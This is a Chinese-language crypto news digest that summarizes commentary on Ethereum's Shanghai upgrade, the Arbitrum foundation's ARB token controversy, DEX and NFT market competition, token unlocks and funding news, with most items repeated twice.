    Chainfeeds 导读： 区块链研究员雨中狂睡总结了自己对于加密市场的 4 月展望，包括上海升级后的抛压及新趋势、ARB 生态发展及存在的问题、Uniswap V3 代码专利到期、Bedrock 升级投票、香港概念及 NFT 市场利好等。 文章来源： https://sleepintherain.substack.com/p/april-alpha-call 文章作者： 雨中狂睡 观点： 雨中狂睡：1）以太坊上海升级：从我个人角度来看，以太坊上海升级后可能不会出现太大的抛压，且由于其排队机制，每天进入市场的以太坊抛压也是固定的。此外，除了 Lido，以太坊升级之后可能出现的趋势是以太坊质押去中心化及 LSDFi 的兴起；2）ARB：个人非常看好 ARB，也期待它在今年的升级和以太坊升级为其生态带来的变化。但其目前存在一些问题，包括代币转移及代币需求等； 内容来源 雨中狂睡：3）Uniswap v3 代码专利到期：我的思路是看看哪些 DEX 能够利用 Uniswap V3 代码更上一层楼；4）OP：Bedrock 升级投票被延期到了 4 月 5 日，Bedrock 升级将带来理论上最佳调用数据提交、共识及执行客户端分离、微观客户端差异等变化；5）香港概念：可以关注香港 4 月中旬活动信息；6）Filecoin：FEVM 上生态发展值得重点关注；7）APE/BLUR：NFT 市场可能会因为 Yuga Labs 新的动作而产生一些变化，另外一个 NFT 市场利好是 Blur 可能的新动作。 内容来源  ( 5 min )
    个人加密市场 4 月展望：上海升级、ARB、Uniswap V3......
    Chainfeeds 导读： 区块链研究员雨中狂睡总结了自己对于加密市场的 4 月展望，包括上海升级后的抛压及新趋势、ARB 生态发展及存在的问题、Uniswap V3 代码专利到期、Bedrock 升级投票、香港概念及 NFT 市场利好等。 文章来源： https://sleepintherain.substack.com/p/april-alpha-call 文章作者： 雨中狂睡 观点： 雨中狂睡：1）以太坊上海升级：从我个人角度来看，以太坊上海升级后可能不会出现太大的抛压，且由于其排队机制，每天进入市场的以太坊抛压也是固定的。此外，除了 Lido，以太坊升级之后可能出现的趋势是以太坊质押去中心化及 LSDFi 的兴起；2）ARB：个人非常看好 ARB，也期待它在今年的升级和以太坊升级为其生态带来的变化。但其目前存在一些问题，包括代币转移及代币需求等； 内容来源 雨中狂睡：3）Uniswap v3 代码专利到期：我的思路是看看哪些 DEX 能够利用 Uniswap V3 代码更上一层楼；4）OP：Bedrock 升级投票被延期到了 4 月 5 日，Bedrock 升级将带来理论上最佳调用数据提交、共识及执行客户端分离、微观客户端差异等变化；5）香港概念：可以关注香港 4 月中旬活动信息；6）Filecoin：FEVM 上生态发展值得重点关注；7）APE/BLUR：NFT 市场可能会因为 Yuga Labs 新的动作而产生一些变化，另外一个 NFT 市场利好是 Blur 可能的新动作。 内容来源  ( 5 min )
    【英文长推】新项目前瞻 | 想成为所有 DeFi 的全链层：zkSync 生态的聚合 DEX Unidex
    Chainfeeds 导读： 加密 KOL Louis 撰推介绍 zkSync 生态上提供掉期和 100 倍杠杆的聚合 DEX Unidex，涵盖其项目机制和优势，以及代币经济学和未来路线图。 文章来源： https://twitter.com/lou_markets/status/1642259243645702149 文章作者： Louis 观点： Louis：Unidex 是一个 DEX 聚合器，在多个场所为用户所需的代币找到最好的价格和交易对，实现用户成本最低化。刚推出 Swaps V3 版本，主要优势：跨链、免 gas 订单创建、MEV 保护。Unidex 允许以 100 倍的杠杆率合成交易资产，涵盖加密货币、外汇、股票、商品。但他们最终的野心是成为所有 DeFi 的全链层。【原文为英文】 内容来源 Louis：Unidex 是首批加入 zkSync 的 DeFi 平台之一，是未来 zkSync 代币建立交易历史的完美场所。目前已有代币 $UNIDX，代币持有者获得一半收入分成，总供应为 400 万枚，市值为 3100 万美元。如果 Unidex 能够成为 zkSync 上的领导者之一，那么 3500 万美元的 FDV 是被低估了的。【原文为英文】 内容来源 Louis：路线图：1）永续掉期聚合器；2）实现一个钱包，一条链；3）在所有场所交易杠杆产品（例如 GMX，SNX，Gains）；4）不再需要切换到五个不同的网络；5）Unidex 成为一个衍生品终端，结合多链和交叉链的订单；6）将启动一个应用链以支持 LP 并促进永续市场；7）一个开发者可以插入的流动性 hub；8）UNIDX 将借用 ETH 的 EIP 1559 以实现通货紧缩。 内容来源  ( 2 min )
    【英文长推】新项目前瞻 | 想成为所有 DeFi 的全链层：zkSync 生态的聚合 DEX Unidex
    Chainfeeds 导读： 加密 KOL Louis 撰推介绍 zkSync 生态上提供掉期和 100 倍杠杆的聚合 DEX Unidex，涵盖其项目机制和优势，以及代币经济学和未来路线图。 文章来源： https://twitter.com/lou_markets/status/1642259243645702149 文章作者： Louis 观点： Louis：Unidex 是一个 DEX 聚合器，在多个场所为用户所需的代币找到最好的价格和交易对，实现用户成本最低化。刚推出 Swaps V3 版本，主要优势：跨链、免 gas 订单创建、MEV 保护。Unidex 允许以 100 倍的杠杆率合成交易资产，涵盖加密货币、外汇、股票、商品。但他们最终的野心是成为所有 DeFi 的全链层。【原文为英文】 内容来源 Louis：Unidex 是首批加入 zkSync 的 DeFi 平台之一，是未来 zkSync 代币建立交易历史的完美场所。目前已有代币 $UNIDX，代币持有者获得一半收入分成，总供应为 400 万枚，市值为 3100 万美元。如果 Unidex 能够成为 zkSync 上的领导者之一，那么 3500 万美元的 FDV 是被低估了的。【原文为英文】 内容来源 Louis：路线图：1）永续掉期聚合器；2）实现一个钱包，一条链；3）在所有场所交易杠杆产品（例如 GMX，SNX，Gains）；4）不再需要切换到五个不同的网络；5）Unidex 成为一个衍生品终端，结合多链和交叉链的订单；6）将启动一个应用链以支持 LP 并促进永续市场；7）一个开发者可以插入的流动性 hub；8）UNIDX 将借用 ETH 的 EIP 1559 以实现通货紧缩。 内容来源  ( 2 min )
    【英文】IBC Protocol：重新审视 Interchain 的过去、现在和未来
    Chainfeeds 导读： 2021 年 2 月，Cosmos Stargate 的发布将通用互操作性协议 IBC 带入大家的视野。自推出以来，该协议已经被超 50 个 Cosmos 链采用，发生了超 5000 万次跨链转账。IBC 协议撰文概述了其主要发展里程碑，反思了其过去两年取得的进展，并对其未来发展方向进行了讨论。 文章来源： https://medium.com/the-interchain-foundation/2-years-of-ibc-the-past-present-and-future-of-interchain-f8df71b9264f 文章作者： IBC Protocol 观点： IBC Protocol：市场策略上，本着社区主导的开源开发精神，IBC 的研发、验证、实施、代码审查及推出都是由不同组织协同完成的。可组合性上，区块链账户（ICA）、区块链查询（ICQ）及数据包转发中间件（PFM）等功能构成了区块链可组合性。此外，关于安全性，Interchain Security 是 Cosmos 对共享安全的愿景，也是实现 CometBFT 横向扩展的一步，而 IBC 是其实现的关键软件。【原文为英文】 内容来源 IBC Protocol：Interchain 发展：1）Polkadot 和 Near：通过利用 IBC，Composable Finance 和 Strangelove 正在开发 Centauri 跨链桥，以允许 Cosmos 与 Polkadot 生态互动；2）以太坊：Polymer 和 Electron Labs 等团队正在努力将 IBC 引入以太坊和其他 EVM 链；3）Avalanche：Avalanche 子网 Landslide Network 正在通过使用 IBC 将 Cosmos 和 Avalanche 生态连接起来；4）Inter-Rollup 通信：Celestia、Dymension、Eclipse 和 Saga 等计划将 IBC 和其他跨链桥结合以进行 Rollup 间通信；5）通过 IBC 驾驭比特币的安全性；6）Penumbra 使用 IBC 协议 Rust 实现（ibc-rs）；7）跨链 NFT ：CS-721 Interchain NFT 支持 IBC Interchain 实现跨链 NFT。【原文为英文】 内容来源 IBC Protocol：路线图：1）v7.1.0：新增本地主机连接功能，链上应用程序能够通过目前用于远程链上应用程序进行通信的相同 IBC 接口进行通信；2）v7.2.0：增加对 Wasm 轻客户端的支持及 ADR-8；3）v8.0.0：实现 Channel 可升级性、带有超时的有序 Channel 及实现针对 IBC 协议中路径依赖当前不便的解决方案。【原文为英文】 内容来源  ( 15 min )
    【英文】IBC Protocol：重新审视 Interchain 的过去、现在和未来
    Chainfeeds 导读： 2021 年 2 月，Cosmos Stargate 的发布将通用互操作性协议 IBC 带入大家的视野。自推出以来，该协议已经被超 50 个 Cosmos 链采用，发生了超 5000 万次跨链转账。IBC 协议撰文概述了其主要发展里程碑，反思了其过去两年取得的进展，并对其未来发展方向进行了讨论。 文章来源： https://medium.com/the-interchain-foundation/2-years-of-ibc-the-past-present-and-future-of-interchain-f8df71b9264f 文章作者： IBC Protocol 观点： IBC Protocol：市场策略上，本着社区主导的开源开发精神，IBC 的研发、验证、实施、代码审查及推出都是由不同组织协同完成的。可组合性上，区块链账户（ICA）、区块链查询（ICQ）及数据包转发中间件（PFM）等功能构成了区块链可组合性。此外，关于安全性，Interchain Security 是 Cosmos 对共享安全的愿景，也是实现 CometBFT 横向扩展的一步，而 IBC 是其实现的关键软件。【原文为英文】 内容来源 IBC Protocol：Interchain 发展：1）Polkadot 和 Near：通过利用 IBC，Composable Finance 和 Strangelove 正在开发 Centauri 跨链桥，以允许 Cosmos 与 Polkadot 生态互动；2）以太坊：Polymer 和 Electron Labs 等团队正在努力将 IBC 引入以太坊和其他 EVM 链；3）Avalanche：Avalanche 子网 Landslide Network 正在通过使用 IBC 将 Cosmos 和 Avalanche 生态连接起来；4）Inter-Rollup 通信：Celestia、Dymension、Eclipse 和 Saga 等计划将 IBC 和其他跨链桥结合以进行 Rollup 间通信；5）通过 IBC 驾驭比特币的安全性；6）Penumbra 使用 IBC 协议 Rust 实现（ibc-rs）；7）跨链 NFT ：CS-721 Interchain NFT 支持 IBC Interchain 实现跨链 NFT。【原文为英文】 内容来源 IBC Protocol：路线图：1）v7.1.0：新增本地主机连接功能，链上应用程序能够通过目前用于远程链上应用程序进行通信的相同 IBC 接口进行通信；2）v7.2.0：增加对 Wasm 轻客户端的支持及 ADR-8；3）v8.0.0：实现 Channel 可升级性、带有超时的有序 Channel 及实现针对 IBC 协议中路径依赖当前不便的解决方案。【原文为英文】 内容来源  ( 15 min )
    【长推】 Starbucks Odyssey 主创思考：如何在产品里将 AI 和 Web3 结合起来？
    Chainfeeds 导读： 区块链研究员 starzq.eth 撰文分享了 Starbucks Odyssey 主创之一 bunchu.eth 关于 AI 和 Web3 产品结合方式的思考：「AI + NFT + Loyalty = Create-to-Earn」。 文章来源： https://twitter.com/starzqeth/status/1642682330556014592 文章作者： starzq.eth 观点： starzq.eth：用户希望自己拥有品牌，具有所有权（ownership）并且能共同创造内容。Joe 认为 AI、NFT 和忠诚度之间会出现非常有趣的交叉点，可以用来增强叙事（Storytelling）和共创（co-creation）。 内容来源 starzq.eth：participate-to-earn 本质还是品牌在引导用户完成某个行为，用户「参加任务」然后得到了一个 NFT 奖励；但一旦用户参与了创造，并且以 NFT 的形式拥有了这个创造，同样是 ownership, 被发放和自己创造，你的情感连接程度完全不一样，不再是品牌讲故事给你听，而是你成为了品牌故事的一部分。 内容来源 starzq.eth：「AI + NFT + Loyalty = Create-to-Earn」，于是在我们之前分享的忠诚度 3.0 框架之上，AI 同时增强了可玩性和创造性，使得品牌的 web3 增长飞轮更好转动起来。 内容来源  ( 2 min )
    【长推】 Starbucks Odyssey 主创思考：如何在产品里将 AI 和 Web3 结合起来？
    Chainfeeds 导读： 区块链研究员 starzq.eth 撰文分享了 Starbucks Odyssey 主创之一 bunchu.eth 关于 AI 和 Web3 产品结合方式的思考：「AI + NFT + Loyalty = Create-to-Earn」。 文章来源： https://twitter.com/starzqeth/status/1642682330556014592 文章作者： starzq.eth 观点： starzq.eth：用户希望自己拥有品牌，具有所有权（ownership）并且能共同创造内容。Joe 认为 AI、NFT 和忠诚度之间会出现非常有趣的交叉点，可以用来增强叙事（Storytelling）和共创（co-creation）。 内容来源 starzq.eth：participate-to-earn 本质还是品牌在引导用户完成某个行为，用户「参加任务」然后得到了一个 NFT 奖励；但一旦用户参与了创造，并且以 NFT 的形式拥有了这个创造，同样是 ownership, 被发放和自己创造，你的情感连接程度完全不一样，不再是品牌讲故事给你听，而是你成为了品牌故事的一部分。 内容来源 starzq.eth：「AI + NFT + Loyalty = Create-to-Earn」，于是在我们之前分享的忠诚度 3.0 框架之上，AI 同时增强了可玩性和创造性，使得品牌的 web3 增长飞轮更好转动起来。 内容来源  ( 2 min )
    【英文长推】简述聚合签名工作原理：有哪些优势？
    Chainfeeds 导读： 除了修改 GETH 并添加预编译，还有何方式能够有效减少 Gas 成本？加密研究员 Dogan 撰文概述了一个更好的签名方案，聚合签名，并对其优势和在 EIP-4337 中的必要性进行了阐述。 文章来源： https://twitter.com/doganeth_en/status/1642300603849224195 文章作者： Dogan 观点： Dogan：正常以太坊交易中，Priv Key 签名创造了签名，且通过计算 PubKey+Message+Signature，我们可以确定其真伪情况。由于签名验证规则是在共识层硬编码，因此正常以太坊交易的验证成本很低。然而大部分情况下，UserOperation 签名验证成本由于没有被优化会非常昂贵。【原文为英文】 内容来源 Dogan：可以通过修改 GETH 并添加一些预编译优化验证定义签名的 Gas 成本，但需要从共识层进行修改。所以我们需要一个更好的签名方案，聚合签名。与其验证每个 UserOperation 的签名，不如聚合一组，用一个密钥进行验证。因此如果能在 Entrypoint 中加入聚合器，我们能大大降低 Useroperations 签名验证 Gas 成本。【原文为英文】 内容来源  ( 2 min )
    【英文长推】新项目前瞻 | 基于 Cairo 的全链上引擎 Dojo：如何为自主世界提供模块化及可扩展基础？
    Chainfeeds 导读： Dojo 简化了在 StarkNet 上创建、管理和扩展「自主世界（Autonomous Worlds）」过程。StarkNet 链游集成平台 cartridge 构建者 tarrence.eth 撰文对 Dojo 的背景、目的及优势进行了分析解读。 文章来源： https://twitter.com/tarrenceva/status/1642201057689473030 文章作者： tarrence.eth 观点： tarrence.eth：两年前，我们开始在 StarkNet 上构建「自主世界（Autonomous Worlds）」，且很多团队一直在 StarkNet 上开拓自治世界的理念，包括 cartridge、Topology、Realms、briq 及 Influence。但截止目前，它们大部分都是独立工作的，很少有共享标准和共享资源。随着 Cairo 1.0 的推出，StarkNet 生态系统正在经历 Regenesis。【原文为英文】 内容来源 tarrence.eth：作为 Regenesis 的一部分，Starknet 上所有合约都需要用 Cairo 1.0 重写，这也为我们提供了构建 Starknet 链上游戏开发工具链的机会。Dojo 为自主世界提供了一个模块化及可扩展的基础。在 Dojo 中，世界合约作为世界核心维护所有状态、执行访问控制并为安装新组件及系统提供接口。【原文为英文】 内容来源 tarrence.eth：此外，Dojo 利用 Cairo 1.0 语言插件的优势，为定义一个世界的模块提供简单且简洁的语法。Dojo 还将提供实时状态索引、StarkNet 上高吞吐量的 Layer3、通过客户端证明的隐私信息、链外状态通道及类型化绑定生成。【原文为英文】 内容来源  ( 2 min )
    【英文长推】新项目前瞻 | 基于 Cairo 的全链上引擎 Dojo：如何为自主世界提供模块化及可扩展基础？
    Chainfeeds 导读： Dojo 简化了在 StarkNet 上创建、管理和扩展「自主世界（Autonomous Worlds）」过程。StarkNet 链游集成平台 cartridge 构建者 tarrence.eth 撰文对 Dojo 的背景、目的及优势进行了分析解读。 文章来源： https://twitter.com/tarrenceva/status/1642201057689473030 文章作者： tarrence.eth 观点： tarrence.eth：两年前，我们开始在 StarkNet 上构建「自主世界（Autonomous Worlds）」，且很多团队一直在 StarkNet 上开拓自治世界的理念，包括 cartridge、Topology、Realms、briq 及 Influence。但截止目前，它们大部分都是独立工作的，很少有共享标准和共享资源。随着 Cairo 1.0 的推出，StarkNet 生态系统正在经历 Regenesis。【原文为英文】 内容来源 tarrence.eth：作为 Regenesis 的一部分，Starknet 上所有合约都需要用 Cairo 1.0 重写，这也为我们提供了构建 Starknet 链上游戏开发工具链的机会。Dojo 为自主世界提供了一个模块化及可扩展的基础。在 Dojo 中，世界合约作为世界核心维护所有状态、执行访问控制并为安装新组件及系统提供接口。【原文为英文】 内容来源 tarrence.eth：此外，Dojo 利用 Cairo 1.0 语言插件的优势，为定义一个世界的模块提供简单且简洁的语法。Dojo 还将提供实时状态索引、StarkNet 上高吞吐量的 Layer3、通过客户端证明的隐私信息、链外状态通道及类型化绑定生成。【原文为英文】 内容来源  ( 2 min )
    未经治理流程出售代币？解析 Arbitrum 基金会争议操作始末
    Chainfeeds 导读： Arbitrum 未经治理流程出售代币，受到持续争议，ARB 代币价格应声下跌，日跌幅一度逾越 10%，ODaily 专栏作者 Loopy Lu 撰文复盘整个事件的始末。 文章来源： https://www.odaily.news/post/5186181 文章作者： Loopy Lu 观点： Loopy Lu：引发争议的提案是什么？Arbitrum 社区提出了 AIP-1，拟引入一个名为 Arbitrum DAO 的去中心化自治组织结构，该组织由 ARB 持有者管理，旨在促进 Arbitrum 生态系统的成长和发展。然而其中包括原本属于社区的 7.5 亿枚 ARB 可能被转移给 Arbitrum 基金会，并以此建立生态基金。此外，还有投资者反馈持有 ARB 空投却无法参与投票等问题。最受诟病的是基金会转移了 5000 万枚 ARB 代币，人们质疑基金会过早大额套现。 内容来源 Loopy Lu：Arbitrum 基金会在官方推特对此作澄清：基金会没有出售 5000 万枚 ARB 代币。其中 4000 万枚被作为贷款分配给金融市场中的一个精明的参与者，剩下的 1000 万则被兑换成法定货币，并用于运营成本。对于已经发生的代币转移，此前基金会表示是作为决定而非拨款请求的结果，并认为社区混淆了「请求」和「批准」两个概念。基金会还指出，可能是治理文档中对代币分配分配饼图的不清晰分类，让社区对此产生了误解。 内容来源 Loopy Lu：Arbitrum 基金会的行为导致 ARB 代币价格下跌，社区对其批评不断。AIP-1 提案遭到部分社区成员质疑，认为未经同意就执行。Blockworks Research 对提案投反对票，认为这加剧了中心化，并从即将到来的 Arbitrum DAO 手中剥落了部分权力。未来大量 DAO 组织将需要表态支持或反对，结果将影响社区信任。 内容来源  ( 6 min )
    未经治理流程出售代币？解析 Arbitrum 基金会争议操作始末
    Chainfeeds 导读： Arbitrum 未经治理流程出售代币，受到持续争议，ARB 代币价格应声下跌，日跌幅一度逾越 10%，ODaily 专栏作者 Loopy Lu 撰文复盘整个事件的始末。 文章来源： https://www.odaily.news/post/5186181 文章作者： Loopy Lu 观点： Loopy Lu：引发争议的提案是什么？Arbitrum 社区提出了 AIP-1，拟引入一个名为 Arbitrum DAO 的去中心化自治组织结构，该组织由 ARB 持有者管理，旨在促进 Arbitrum 生态系统的成长和发展。然而其中包括原本属于社区的 7.5 亿枚 ARB 可能被转移给 Arbitrum 基金会，并以此建立生态基金。此外，还有投资者反馈持有 ARB 空投却无法参与投票等问题。最受诟病的是基金会转移了 5000 万枚 ARB 代币，人们质疑基金会过早大额套现。 内容来源 Loopy Lu：Arbitrum 基金会在官方推特对此作澄清：基金会没有出售 5000 万枚 ARB 代币。其中 4000 万枚被作为贷款分配给金融市场中的一个精明的参与者，剩下的 1000 万则被兑换成法定货币，并用于运营成本。对于已经发生的代币转移，此前基金会表示是作为决定而非拨款请求的结果，并认为社区混淆了「请求」和「批准」两个概念。基金会还指出，可能是治理文档中对代币分配分配饼图的不清晰分类，让社区对此产生了误解。 内容来源 Loopy Lu：Arbitrum 基金会的行为导致 ARB 代币价格下跌，社区对其批评不断。AIP-1 提案遭到部分社区成员质疑，认为未经同意就执行。Blockworks Research 对提案投反对票，认为这加剧了中心化，并从即将到来的 Arbitrum DAO 手中剥落了部分权力。未来大量 DAO 组织将需要表态支持或反对，结果将影响社区信任。 内容来源  ( 6 min )
    Arkstream Capital：Blur 与 Opensea 的悬崖赛车
    Chainfeeds 导读： Blur 与 Opensea 之间的竞争持续引发讨论，ArkStream Capital 合伙人墨客撰文解析二者之间的「战争」，讨论 NFT Market 现状及 NFT 的价值，并分析 Blur 流动性方案的缺陷，对其进行了未来展望，认为 Blur 虽然仍然有非常多缺陷，但它打开了 NFTFi 的流动性篇章，Blur 与 Opensea 之争中反而更快倒下的是其他二线 NFT Market。 文章来源： https://mp.weixin.qq.com/s/O6AM3XA7r2KlEaOEG_A-nQ 文章作者： Moc（ArkStream Capital 合伙人） 观点： Moc（ArkStream Capital 合伙人）：从 NFT Marketplace 的交易数据上看，可以得出：1） Blur 在 2-15 空投之前交易量就已经超过 OpenSea。2） NFT 市场在经历了 2022 年的炒作高潮与幻灭之后，在 2023 年的 1 季度已经回归良性市场。从 NFT 的价值进行讨论：1）NFT 的一致性与非一致性的糅合成为了每一个 NFTfi 需要去面对的最大的问题。2）站在版税角度，让 NFT 项目只能辛苦的通过经营社区赚钱，才是用户对 NFT 良性市场的最大尊重。 内容来源 Moc（ArkStream Capital 合伙人）：目前 NFT Market 的竞争态势：NFT Marketplace 可以细分为三类，CLOB Marketplace / AMM Protocol / Aggregator（聚合器）， Aggregator 在 Blur 和 Opensea 积压下，身影比较落寞，可能要等到市场更加混战才会有它的空间。$BLUR 正式发行之前，其双向流动性方案已经对 Blur 的交易量产生了巨大的正向刺激。同时 Blur 也是 NFT Marketpalce 中第一个采取很积极的策勒（包含 BID 的产品设计，与代币激励）在解决 NFT 流动性上的玩家。 内容来源 Moc（ArkStream Capital 合伙人）：从流量上看，OpenSea 因为 Blur 的发币，受到极大的打击。而另一边，0 手续费的 Blur 不管在法律上（ SEC 监管），还是市场上，都没办法通过收手续费的方式给自己增加收入，也无法给 $BLUR 进行任何赋能，可以说 Blur 把它跟 OpenSea 都拉上了悬崖塞车，这场战争势必要以熬死其中的一方作为结局，然而在这个过程中，X2Y2 与 LooksRare 等二线 NFT Marketplace 受到了更大的挤压，可能更快倒下的反而是它们。 内容来源  ( 32 min )
    Arkstream Capital：Blur 与 Opensea 的悬崖赛车
    Chainfeeds 导读： Blur 与 Opensea 之间的竞争持续引发讨论，ArkStream Capital 合伙人墨客撰文解析二者之间的「战争」，讨论 NFT Market 现状及 NFT 的价值，并分析 Blur 流动性方案的缺陷，对其进行了未来展望，认为 Blur 虽然仍然有非常多缺陷，但它打开了 NFTFi 的流动性篇章，Blur 与 Opensea 之争中反而更快倒下的是其他二线 NFT Market。 文章来源： https://mp.weixin.qq.com/s/O6AM3XA7r2KlEaOEG_A-nQ 文章作者： Moc（ArkStream Capital 合伙人） 观点： Moc（ArkStream Capital 合伙人）：从 NFT Marketplace 的交易数据上看，可以得出：1） Blur 在 2-15 空投之前交易量就已经超过 OpenSea。2） NFT 市场在经历了 2022 年的炒作高潮与幻灭之后，在 2023 年的 1 季度已经回归良性市场。从 NFT 的价值进行讨论：1）NFT 的一致性与非一致性的糅合成为了每一个 NFTfi 需要去面对的最大的问题。2）站在版税角度，让 NFT 项目只能辛苦的通过经营社区赚钱，才是用户对 NFT 良性市场的最大尊重。 内容来源 Moc（ArkStream Capital 合伙人）：目前 NFT Market 的竞争态势：NFT Marketplace 可以细分为三类，CLOB Marketplace / AMM Protocol / Aggregator（聚合器）， Aggregator 在 Blur 和 Opensea 积压下，身影比较落寞，可能要等到市场更加混战才会有它的空间。$BLUR 正式发行之前，其双向流动性方案已经对 Blur 的交易量产生了巨大的正向刺激。同时 Blur 也是 NFT Marketpalce 中第一个采取很积极的策勒（包含 BID 的产品设计，与代币激励）在解决 NFT 流动性上的玩家。 内容来源 Moc（ArkStream Capital 合伙人）：从流量上看，OpenSea 因为 Blur 的发币，受到极大的打击。而另一边，0 手续费的 Blur 不管在法律上（ SEC 监管），还是市场上，都没办法通过收手续费的方式给自己增加收入，也无法给 $BLUR 进行任何赋能，可以说 Blur 把它跟 OpenSea 都拉上了悬崖塞车，这场战争势必要以熬死其中的一方作为结局，然而在这个过程中，X2Y2 与 LooksRare 等二线 NFT Marketplace 受到了更大的挤压，可能更快倒下的反而是它们。 内容来源  ( 32 min )
    【英文长推】以 Arbitrum 治理为例，从博弈论角度解读空投和去中心化的关系
    Chainfeeds 导读： Arbitrum 发起的 AIP-1 提案引发了社区争议，加密研究员 Alex 以 Arbitrum 治理为例，对空投和去中心化的博弈理论进行了解读，究竟该如何在空投和去中心化治理当中进行抉择？ 文章来源： https://twitter.com/thiccythot_/status/1642624503153926144 文章作者： Alex 观点： Alex：加密项目 90% 的估值都来自于去中心化承诺。为了让估值最大化，要让项目显得非常活跃，且分配看起来要是去中心化的。而项目内部人士和空投用户需要有效出售他们的代币，因此他们要求金融市场领域的复杂参与者提供服务。这些参与者往往利用他们的专业市场知识尽可能高效将代币出售用户和买家进行匹配。【原文为英文】 内容来源 Alex：这些成熟参与者会通过代币看涨期权获得补偿，而多头看涨期权存在积极的市场敞口，为了套期保值，持有者在公开市场出售代币，这就形成了对立面。另外一个协调者是零售商，卖家和零售商之间存在明显的对立关系，零售商愿意长期持有。【原文为英文】 内容来源 Alex：事实上，Arbitrum 能够在没有任何监督或与公众沟通的情况下直接抛售代币。作为一个社区，我们应该要求流动的供应量反映在没有任何公开披露的情况下可以进入市场的代币数量。对于 ARB 而言，流通量应该是 54 亿枚代币。有些用户认为社区有权从空投中获得免费资金，但有一个疑问，这些免费资金又是从哪里来的呢？【原文为英文】 内容来源  ( 2 min )
    【英文长推】以 Arbitrum 治理为例，从博弈论角度解读空投和去中心化的关系
    Chainfeeds 导读： Arbitrum 发起的 AIP-1 提案引发了社区争议，加密研究员 Alex 以 Arbitrum 治理为例，对空投和去中心化的博弈理论进行了解读，究竟该如何在空投和去中心化治理当中进行抉择？ 文章来源： https://twitter.com/thiccythot_/status/1642624503153926144 文章作者： Alex 观点： Alex：加密项目 90% 的估值都来自于去中心化承诺。为了让估值最大化，要让项目显得非常活跃，且分配看起来要是去中心化的。而项目内部人士和空投用户需要有效出售他们的代币，因此他们要求金融市场领域的复杂参与者提供服务。这些参与者往往利用他们的专业市场知识尽可能高效将代币出售用户和买家进行匹配。【原文为英文】 内容来源 Alex：这些成熟参与者会通过代币看涨期权获得补偿，而多头看涨期权存在积极的市场敞口，为了套期保值，持有者在公开市场出售代币，这就形成了对立面。另外一个协调者是零售商，卖家和零售商之间存在明显的对立关系，零售商愿意长期持有。【原文为英文】 内容来源 Alex：事实上，Arbitrum 能够在没有任何监督或与公众沟通的情况下直接抛售代币。作为一个社区，我们应该要求流动的供应量反映在没有任何公开披露的情况下可以进入市场的代币数量。对于 ARB 而言，流通量应该是 54 亿枚代币。有些用户认为社区有权从空投中获得免费资金，但有一个疑问，这些免费资金又是从哪里来的呢？【原文为英文】 内容来源  ( 2 min )
    数据：APT、APE、DYDX、LOOKS 和 GLMR 将于四月份合计解锁超 7500 万美元的代币
    数据：APT、APE、DYDX、LOOKS 和 GLMR 将于四月份合计解锁超 7500 万美元的代币 据 DefiLlama 数据显示，4 月将有 APT、APE、DYDX、LOOKS 和 GLMR 五个代币启动解锁，总价值超 7500 万美元，包括：4 月 10 日 1250 万枚 LOOKS（价值约 1,825,538 美元）、4 月 11 日 378,788 枚 DYDX（价值约 935,606 美元）、4 月 12 日 3,210,145 枚 APT （价值约 3981 万美元）、4 月 16 日 7,343,750 枚 APE（价值约 3202 万美元）、以及 4 月 18 日 1,479,167 枚 GLMR（价值约 557,102 美元）。 内容来源  ( 106 min )
    数据：APT、APE、DYDX、LOOKS 和 GLMR 将于四月份合计解锁超 7500 万美元的代币
    数据：APT、APE、DYDX、LOOKS 和 GLMR 将于四月份合计解锁超 7500 万美元的代币 据 DefiLlama 数据显示，4 月将有 APT、APE、DYDX、LOOKS 和 GLMR 五个代币启动解锁，总价值超 7500 万美元，包括：4 月 10 日 1250 万枚 LOOKS（价值约 1,825,538 美元）、4 月 11 日 378,788 枚 DYDX（价值约 935,606 美元）、4 月 12 日 3,210,145 枚 APT （价值约 3981 万美元）、4 月 16 日 7,343,750 枚 APE（价值约 3202 万美元）、以及 4 月 18 日 1,479,167 枚 GLMR（价值约 557,102 美元）。 内容来源  ( 106 min )
    DefiLlama 上线 Token 解锁追踪功能
    DefiLlama 上线 Token 解锁追踪功能 据链上数据分析网站 DefiLlama 官推消息，其现已上线 Token 解锁追踪功能，允许用户查看大量解锁 Token 的项目，跟踪每天解锁的 Token 数量并监控解锁计划中的重大变化。 内容来源  ( 2 min )
    DefiLlama 上线 Token 解锁追踪功能
    DefiLlama 上线 Token 解锁追踪功能 据链上数据分析网站 DefiLlama 官推消息，其现已上线 Token 解锁追踪功能，允许用户查看大量解锁 Token 的项目，跟踪每天解锁的 Token 数量并监控解锁计划中的重大变化。 内容来源  ( 2 min )
    数据：以太坊信标链验证者数量突破 56 万，质押 APR 回落至 4.43%
    数据：以太坊信标链验证者数量突破 56 万，质押 APR 回落至 4.43% 据以太坊官方数据显示，目前信标链验证者总量达到 561517 个，已质押的以太坊总量达到 17933480 个 ETH。以太坊信标链 ETH 质押 APR 目前为 4.43%，较 3 月底的 5.22% 高点有小幅回落。 内容来源
    数据：以太坊信标链验证者数量突破 56 万，质押 APR 回落至 4.43%
    数据：以太坊信标链验证者数量突破 56 万，质押 APR 回落至 4.43% 据以太坊官方数据显示，目前信标链验证者总量达到 561517 个，已质押的以太坊总量达到 17933480 个 ETH。以太坊信标链 ETH 质押 APR 目前为 4.43%，较 3 月底的 5.22% 高点有小幅回落。 内容来源
    Alchemy Pay 获 DWF Labs 1000 万美元投资，以扩展其在韩国的业务
    Alchemy Pay 获 DWF Labs 1000 万美元投资，以扩展其在韩国的业务 加密支付服务提供商 Alchemy Pay 获得做市商 DWF Labs 的 1000 万美元投资，估值 4 亿美元。所筹资金将用于扩展其在韩国的业务。 据 CoinDesk 介绍， Alchemy Pay 为加密公司提供了法定支付渠道，旨在协助韩国当地公司实现或计划，此前已经与 Visa、Mastercard、Google Pay 及 Apple Pay 达成合作。 内容来源  ( 27 min )
    Alchemy Pay 获 DWF Labs 1000 万美元投资，以扩展其在韩国的业务
    Alchemy Pay 获 DWF Labs 1000 万美元投资，以扩展其在韩国的业务 加密支付服务提供商 Alchemy Pay 获得做市商 DWF Labs 的 1000 万美元投资，估值 4 亿美元。所筹资金将用于扩展其在韩国的业务。 据 CoinDesk 介绍， Alchemy Pay 为加密公司提供了法定支付渠道，旨在协助韩国当地公司实现或计划，此前已经与 Visa、Mastercard、Google Pay 及 Apple Pay 达成合作。 内容来源  ( 27 min )
    Arbitrum：基金会并未出售 5000 万枚 ARB，其中 4000 万枚 ARB 已作为贷款分配给市场参与者
